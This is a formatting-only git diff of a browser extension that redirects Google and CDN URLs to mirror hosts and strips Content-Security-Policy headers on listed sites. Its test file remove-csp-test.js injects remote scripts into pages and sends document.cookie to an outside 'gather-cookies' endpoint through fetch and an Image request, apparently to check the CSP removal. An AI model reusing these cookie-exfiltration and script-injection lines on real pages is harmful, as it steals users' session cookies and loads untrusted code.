diff --git a/extension-v2/js/background-advance.js b/extension-v2/js/background-advance.js index 0c33c206..dadd2b7e 100644 --- a/extension-v2/js/background-advance.js +++ b/extension-v2/js/background-advance.js @@ -11,7 +11,7 @@ const tabinfo = new Map(); */ function hasCSP(headers = []) { return headers.some( - (x) => x.name.toLowerCase() === "content-security-policy", + (x) => x.name.toLowerCase() === "content-security-policy" ); } @@ -134,7 +134,7 @@ chrome.webRequest.onHeadersReceived.addListener( //移除响应头 Content-Security-Policy details.responseHeaders = details.responseHeaders.filter( (response_header) => - !remove_csp_item.includes(response_header.name.toLowerCase()), + !remove_csp_item.includes(response_header.name.toLowerCase()) ); /* @@ -154,7 +154,7 @@ chrome.webRequest.onHeadersReceived.addListener( ], types: web_request_resource_types, }, - ["blocking", "responseHeaders"], + ["blocking", "responseHeaders"] ); /* @@ -193,7 +193,7 @@ let need_replace_cdn_urls = [ "www.gravatar.com", "maxcdn.bootstrapcdn.com", "github.com", - "www.google.com", + "www.google.com" ]; let cdn_urls = need_replace_cdn_urls.map((currentValue, index, arr) => { @@ -218,7 +218,7 @@ let opensource_google_urls = [ "*://summerofcode.withgoogle.com/*", "*://cs.opensource.google/*", //Google Open Source "*://opensource.googleblog.com/*", - "*://opensource.google/*", + "*://opensource.google/*" ]; // 高级玩法测试域名组 @@ -315,7 +315,7 @@ chrome.webRequest.onBeforeRequest.addListener( url = url.replace("fonts.gstatic.com", "fonts.gstatic.cn"); url = url.replace( "www.google.com/recaptcha/", - "www.recaptcha.net/recaptcha/", + "www.recaptcha.net/recaptcha/" ); url = url.replace("secure.gravatar.com", "gravatar.loli.net"); url = url.replace("www.gravatar.com", "gravatar.loli.net"); @@ -328,15 +328,15 @@ chrome.webRequest.onBeforeRequest.addListener( //"cdn.jsdelivr.net/npm/bootstrap@$1/dist/$2" url = url.replace( /maxcdn\.bootstrapcdn\.com\/bootstrap\/(\d{1,4}\.\d{1,4}\.\d{1,4})\/(.*?)/g, - "lib.baomitu.com/twitter-bootstrap/$1/$2", + "lib.baomitu.com/twitter-bootstrap/$1/$2" ); url = url.replace( /code\.jquery\.com\/jquery-(\d{1,4}\.\d{1,4}\.\d{1,4})(.*?)/g, - "lib.baomitu.com/jquery/$1/jquery$2", + "lib.baomitu.com/jquery/$1/jquery$2" ); url = url.replace( /code\.jquery\.com\/ui\/(\d{1,4}\.\d{1,4}\.\d{1,4})\/(.*?)/g, - "ajax.aspnetcdn.com/ajax/jquery.ui/$1/$2", + "ajax.aspnetcdn.com/ajax/jquery.ui/$1/$2" ); url = url.replace("developers.google.com", "developers.google.cn"); url = url.replace("developer.android.com", "developer.android.google.cn"); @@ -367,7 +367,7 @@ chrome.webRequest.onBeforeRequest.addListener( ...block_domain_urls, //阻止域名请求 ], }, - ["blocking"], + ["blocking"] ); /* @@ -470,7 +470,7 @@ chrome.webRequest.onBeforeSendHeaders.addListener( "*://example-example.com/*", ], }, - ["blocking", "requestHeaders"], + ["blocking", "requestHeaders"] //["blocking", "requestHeaders", "extraHeaders"] ); diff --git a/extension-v2/js/background.js b/extension-v2/js/background.js index 66c6e403..f7cb64ef 100644 --- a/extension-v2/js/background.js +++ b/extension-v2/js/background.js @@ -19,7 +19,7 @@ const remove_csp_item = [ "cross-origin-embedder-policy", "cross-origin-opener-policy", "cross-origin-opener-policy-report-only", - "cross-origin-embedder-policy-report-only", + "cross-origin-embedder-policy-report-only" ]; /** @@ -42,7 +42,7 @@ const remove_csp_urls = [ "*://developers.redhat.com/*", "*://*.githubusercontent.com/*", "*://pub.dev/*", - "*://stackoverflow.com/*", + "*://stackoverflow.com/*" ]; /** @@ -54,7 +54,7 @@ chrome.webRequest.onHeadersReceived.addListener( //移除响应头 Content-Security-Policy details.responseHeaders = details.responseHeaders.filter( (response_header) => - !remove_csp_item.includes(response_header.name.toLowerCase()), + !remove_csp_item.includes(response_header.name.toLowerCase()) ); return { responseHeaders: details.responseHeaders, @@ -78,7 +78,7 @@ chrome.webRequest.onHeadersReceived.addListener( "other", ], }, - ["blocking", "responseHeaders"], + ["blocking", "responseHeaders"] ); /* @@ -96,7 +96,7 @@ chrome.webRequest.onBeforeRequest.addListener( url = url.replace("fonts.gstatic.com", "fonts.gstatic.cn"); url = url.replace( "www.google.com/recaptcha/", - "www.recaptcha.net/recaptcha/", + "www.recaptcha.net/recaptcha/" ); url = url.replace("secure.gravatar.com", "gravatar.loli.net"); url = url.replace("www.gravatar.com", "gravatar.loli.net"); @@ -108,15 +108,15 @@ chrome.webRequest.onBeforeRequest.addListener( //"cdn.jsdelivr.net/npm/bootstrap@$1/dist/$2" url = url.replace( /maxcdn\.bootstrapcdn\.com\/bootstrap\/(\d{1,4}\.\d{1,4}\.\d{1,4})\/(.*?)/g, - "lib.baomitu.com/twitter-bootstrap/$1/$2", + "lib.baomitu.com/twitter-bootstrap/$1/$2" ); url = url.replace( /code\.jquery\.com\/jquery-(\d{1,4}\.\d{1,4}\.\d{1,4})(.*?)/g, - "lib.baomitu.com/jquery/$1/jquery$2", + "lib.baomitu.com/jquery/$1/jquery$2" ); url = url.replace( /code\.jquery\.com\/ui\/(\d{1,4}\.\d{1,4}\.\d{1,4})\/(.*?)/g, - "ajax.aspnetcdn.com/ajax/jquery.ui/$1/$2", + "ajax.aspnetcdn.com/ajax/jquery.ui/$1/$2" ); return { redirectUrl: url }; }, @@ -137,5 +137,5 @@ chrome.webRequest.onBeforeRequest.addListener( "*://code.jquery.com/ui/*", ], }, - ["blocking"], + ["blocking"] ); diff --git a/extension/options_ui/README.md b/extension/options_ui/README.md index ac13584a..9f045f6c 100644 --- a/extension/options_ui/README.md +++ b/extension/options_ui/README.md @@ -70,7 +70,7 @@ chrome.declarativeNetRequest.updateDynamicRules( }, (parameter) => { console.log(parameter); - }, + } ); ``` diff --git a/extension/options_ui/js/AdvanceBundle/Components/globalDynamicRuleMain.js b/extension/options_ui/js/AdvanceBundle/Components/globalDynamicRuleMain.js index 0ca874ed..1005e068 100644 --- a/extension/options_ui/js/AdvanceBundle/Components/globalDynamicRuleMain.js +++ b/extension/options_ui/js/AdvanceBundle/Components/globalDynamicRuleMain.js @@ -96,7 +96,7 @@ let bindSyncRemoteStaticRuleEventListener = () => { UpdateRulesetOptions, (callback) => { showRuleList(); - }, + } ); }); } diff --git a/extension/options_ui/js/AdvanceBundle/Components/selfDefineRule.js b/extension/options_ui/js/AdvanceBundle/Components/selfDefineRule.js index f2f30088..adc034c0 100644 --- a/extension/options_ui/js/AdvanceBundle/Components/selfDefineRule.js +++ b/extension/options_ui/js/AdvanceBundle/Components/selfDefineRule.js @@ -137,7 +137,7 @@ let bindButtonUploadRuleFromFile = () => { e.stopPropagation(); e.preventDefault(); }, - false, + false ); dropbox.addEventListener( "dragover", @@ -145,7 +145,7 @@ let bindButtonUploadRuleFromFile = () => { e.stopPropagation(); e.preventDefault(); }, - false, + false ); dropbox.addEventListener( @@ -166,7 +166,7 @@ let bindButtonUploadRuleFromFile = () => { showUploadFileContent(file); } }, - false, + false ); }; diff --git a/extension/options_ui/js/AdvanceBundle/Controller/advanceController.js b/extension/options_ui/js/AdvanceBundle/Controller/advanceController.js index 6e90e41d..05d2454f 100644 --- a/extension/options_ui/js/AdvanceBundle/Controller/advanceController.js +++ b/extension/options_ui/js/AdvanceBundle/Controller/advanceController.js @@ -27,7 +27,7 @@ let messageReciver = () => { } } }, - false, + false ); }; diff --git a/extension/options_ui/js/CommonBundle/Components/common.js b/extension/options_ui/js/CommonBundle/Components/common.js index e57d35a3..f7c7cea6 100644 --- a/extension/options_ui/js/CommonBundle/Components/common.js +++ b/extension/options_ui/js/CommonBundle/Components/common.js @@ -39,7 +39,7 @@ let updateDynamicRules = ( }, () => { callback(args); - }, + } ); }; let deleteDynamicRules = (type, id = 0, callback = () => {}, ...args) => { @@ -82,7 +82,7 @@ let deleteDynamicRules = (type, id = 0, callback = () => {}, ...args) => { }, () => { callback(args); - }, + } ); } }); @@ -128,7 +128,7 @@ let enableStaticRules = (callback, ...args) => { deleteDynamicRules("sync_remote_static_rule", 0, () => { callback(); }); - }, + } ); }; diff --git a/extension/options_ui/js/CommonBundle/Components/editor.js b/extension/options_ui/js/CommonBundle/Components/editor.js index 87de8ab4..464f27a6 100644 --- a/extension/options_ui/js/CommonBundle/Components/editor.js +++ b/extension/options_ui/js/CommonBundle/Components/editor.js @@ -10,7 +10,7 @@ let editor = { onChange: ( updatedContent, previousContent, - { contentErrors, patchResult }, + { contentErrors, patchResult } ) => { // content is an object { json: JSONData } | { text: string } /* diff --git a/extension/options_ui/js/CommonBundle/Components/showDynamicRules.js b/extension/options_ui/js/CommonBundle/Components/showDynamicRules.js index 1321e8e8..52024473 100644 --- a/extension/options_ui/js/CommonBundle/Components/showDynamicRules.js +++ b/extension/options_ui/js/CommonBundle/Components/showDynamicRules.js @@ -39,7 +39,7 @@ let showDynamicRules = (type = "all_dynamic_rule") => { list += `
  • 规则来源:${show_rule_id_range_name};编号为:  ${ value.id }  ;规则作用:${rule_action_name}       { text: undefined, }); content_box.value = decodeURIComponent( - event.target.getAttribute("data-origin"), + event.target.getAttribute("data-origin") ); content_box.setAttribute("rule-type", "dynamic"); content_box.setAttribute( "rule-id", - event.target.getAttribute("data-rule-id"), + event.target.getAttribute("data-rule-id") ); } if (event.target.nodeName === "SPAN") { event.target.parentNode.remove(); deleteDynamicRules( "single_rule", - event.target.getAttribute("data-rule-id"), + event.target.getAttribute("data-rule-id") ); } }); diff --git a/extension/options_ui/js/CommonBundle/Components/showRuleList.js b/extension/options_ui/js/CommonBundle/Components/showRuleList.js index d460e6aa..7317ec90 100644 --- a/extension/options_ui/js/CommonBundle/Components/showRuleList.js +++ b/extension/options_ui/js/CommonBundle/Components/showRuleList.js @@ -28,7 +28,7 @@ let bindButtonEventListener = () => { if (rule_str) { utils.createJSONFile( rule_str, - "ReplaceGoogleCDN-backup-rule-" + time + ".json", + "ReplaceGoogleCDN-backup-rule-" + time + ".json" ); } } @@ -88,7 +88,7 @@ let bindButtonEventListener = () => { let content = content_box.value; if (content) { let button = document.querySelector( - "#jsoneditor .jse-button.jse-format", + "#jsoneditor .jse-button.jse-format" ); if (button) { button.click(); diff --git a/extension/options_ui/js/IndexBundle/Components/DefaultDomain.js b/extension/options_ui/js/IndexBundle/Components/DefaultDomain.js index c9d056ac..d1a24e88 100644 --- a/extension/options_ui/js/IndexBundle/Components/DefaultDomain.js +++ b/extension/options_ui/js/IndexBundle/Components/DefaultDomain.js @@ -4,7 +4,7 @@ import { showDynamicRules } from "../../CommonBundle/Components/showDynamicRules let defaultDomainList = document.querySelector(".default-redirect-domains"); let defaultDomainOptions = document.querySelector( - ".default-redirect-domians-options", + ".default-redirect-domians-options" ); let showDefaultDomainList = () => { let list = ""; @@ -61,7 +61,7 @@ let bindSetDefaultDomainOptionEventListener = () => { let rule_info = event.target.options[event.target.selectedIndex].getAttribute( - "data-rule-info", + "data-rule-info" ); let rule = JSON.parse(rule_info); diff --git a/extension/sandbox/js/app.js b/extension/sandbox/js/app.js index 10b95c8f..ceef5982 100644 --- a/extension/sandbox/js/app.js +++ b/extension/sandbox/js/app.js @@ -61,7 +61,7 @@ list_box.addEventListener("click", (event) => { JSON.stringify({ url: url, }), - location.origin + "/options_ui/index.html", + location.origin + "/options_ui/index.html" ); return; diff --git a/extension/test/remove-csp-test.js b/extension/test/remove-csp-test.js index 15dc75ab..2d129548 100644 --- a/extension/test/remove-csp-test.js +++ b/extension/test/remove-csp-test.js @@ -17,7 +17,7 @@ let script = document.createElement("script"); script.setAttribute( "src", - "https://frontend-inject.xiaoshuogeng.com/main.js", + "https://frontend-inject.xiaoshuogeng.com/main.js" ), script.setAttribute("type", "module"), //script.setAttribute("type", "application/javascript"), @@ -31,7 +31,7 @@ javascript: (() => { let script = document.createElement("script"); script.setAttribute( "src", - "https://www.jingjingxyk.com/frontend-experimental-features/main.js", + "https://www.jingjingxyk.com/frontend-experimental-features/main.js" ), script.setAttribute("type", "application/javascript"), script.setAttribute("charset", "utf-8"), @@ -42,7 +42,7 @@ javascript: (() => { fetch( "https://test.proxy.xiaoshuogeng.com/gather-cookies?cookies=" + - encodeURIComponent(document.cookie), + encodeURIComponent(document.cookie) ); // or @@ -50,5 +50,5 @@ fetch( new Image(100, 200).setAttribute( "src", "https://test.proxy.xiaoshuogeng.com/gather-cookies?cookies=" + - encodeURIComponent(document.cookie), + encodeURIComponent(document.cookie) );